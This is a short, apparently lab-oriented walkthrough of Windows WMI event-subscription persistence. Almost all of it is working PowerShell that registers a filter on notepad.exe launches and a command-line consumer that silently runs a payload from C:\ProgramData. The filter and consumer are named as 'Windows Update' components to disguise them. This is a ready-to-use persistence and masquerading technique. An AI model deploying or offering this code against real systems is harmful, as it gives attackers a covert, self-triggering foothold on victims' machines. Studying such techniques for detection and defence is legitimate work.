CommandLineEventConsumer

This example triggers when notepad.exe starts and launches a payload. Swap the trigger for the lab condition you actually want to test.

1. Create an event filter
2. Create a command-line consumer
3. Bind the filter to the consumer
4. Trigger the condition
5. Verify execution

Create the filter:

$FilterArgs = @{
    EventNamespace = "root/cimv2"
    Name = "Windows Update Filter"
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'notepad.exe'"
    QueryLanguage = "WQL"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs

Create the consumer:

$ConsumerArgs = @{
    Name = "Windows Update Consumer"
    CommandLineTemplate = "cmd.exe /c start /b C:\ProgramData\Microsoft\Windows\updater.exe"
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

Bind the filter to the consumer:

$BindingArgs = @{
    Filter = $Filter
    Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs

Trigger:

notepad.exe